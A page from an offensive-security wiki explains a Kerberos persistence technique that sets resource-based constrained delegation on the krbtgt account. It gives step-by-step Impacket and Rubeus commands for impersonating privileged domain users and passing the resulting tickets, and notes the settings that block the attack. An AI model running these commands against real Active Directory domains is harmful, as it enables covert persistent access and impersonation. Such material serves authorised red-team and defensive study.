Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
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        • Natural Language 6 DLLs Persistence
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        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
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          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
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        • GLIBC Exploits
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          • D-Bus Authentication Bypass
        • Sudo Exploits
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          • Ruby
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        • Scheduled tasks
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        • Interesting Groups
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        • Linux Active Directory
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        • Network shares
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        • Windows & Active Directory
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        • Linux
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    • Exfiltration
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  • Web Pentesting
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        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
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      • MSSQL
      • NBT-NS (NetBIOS)
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    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
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        • DHCP
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    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
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        • Delegation to KRBTGT
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        • Certificate authority
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      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
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        • 🛠️HTTP API V2
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    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
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        • Credentials
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            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
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          • Virtual Machines
          • Automation
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        • Role-Based Access
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        • Service Principals & Applications
        • Hybrid Identity
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          • Active Directory Federation Services (ADFS)
          • Seamless SSO
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        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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  1. Active Directory Pentesting
  2. Persistence
  3. Kerberos

Delegation to KRBTGT

Last updated 1 year ago

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Theory

The idea behind this technique is to configure on the krbtgt account to generate TGTs on-demand as a persistence technique. The requirements for the technique are to have enough privileges (i.e. domain admin rights) to edit the krbtgt account's "rbcd" attribute (i.e. ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity) and to control an account that has an SPN (or create one).

Once the delegation is configured, an attacker can later on obtain a service ticket for the krbtgt on behalf of any user. Since a TGT is just a service ticket for the KRBTGT service, it means the attacker has a persistence technique allowing him to obtain a TGT for almost any user in the domain. The only limitations are the "Protected Users" group, or the "Account is sensitive and cannot be delegated" parameter. Those settings can protect users from delegation and will prevent attackers from obtaining a ticket that looks like a TGT on their behalf through a delegation trick.

An example of the abuse goes as follows :

  1. Configure RBCD delegation on the krbtgt account to allow a controlled account to delegate to it. The controlled account should have at least one SPN (i.e. ServicePrincipalName) for the delegation to work (). This controlled account will be called "ControlledAccountWithSPN".

  2. Perform a full attack to obtain a Service Ticket for the krbtgt service, on behalf of another privileged user. Let's call this chosen user "TargetedAccount". The ticket obtained through this process is for the KRBTGT service, which basically means the ticket can be used as a TGT for the TargetedAccount.

  3. Pass-the-ticket to use the TGT, act as the target -privileged- user, and authenticate to remote resources.

Practice

Every step of this attack can be achieved using one of the following scripts from Impacket : rbcd.py and getST.py.

# Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt
rbcd.py -delegate-from 'ControlledAccountWithSPN' -delegate-to 'krbtgt' -dc-ip $dcIp -action write 'DOMAIN'/'PrivilegiedAccount':'StrongPassword'

# Step 2 : S4U attack for TargetedAccount to ControlledAccountWithSPN
getST.py -spn "KRBTGT" -impersonate "TargetedAccount" -dc-ip $dcIp 'DOMAIN'/'ControlledAccountWithSPN':'PasswordOfControlledAccountWithSPN'

# Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (which is a TGT).
KRB5CCNAME='TargetedAccount@krbtgt_DOMAIN@DOMAIN.ccache' getST.py -spn 'cifs/target' -k -no-pass 'DOMAIN'/'TargetedAccount'

Every step of this attack can be achieved using Rubeus and the Set-ADUser command.

# Step 1 : Configure RBCD delegation from ControlledAccountWithSPN to krbtgt
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount ControlledAccountWithSPN

# Step 2 : Full S4U for TargetedAccount to krbtgt using ControlledAccountWithSPN
Rubeus.exe s4u /nowrap /impersonateuser:"TargetedAccount" /msdsspn:"krbtgt" /domain:"DOMAIN" /user:"ControlledAccountWithSPN" /rc4:$NThash

# Step 3 : Get Service Ticket for TargetedAccount to the target service using the previously obtained ticket (printed in a base64 blob thanks to the /nowrap flag), and inject it in memory using /ptt in order to use the resulting ticket for authentication to remote resources
Rubeus.exe asktgs /service:"cifs/target" /ticket:"base64ticket...." /ptt

Resources

resource-based constrained delegation
not mandatory though
S4U
(RBCD) Resource-based constrained
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active DirectoryShenanigans Labs
LogoDelegate to KRBTGT service | Sky Blueteam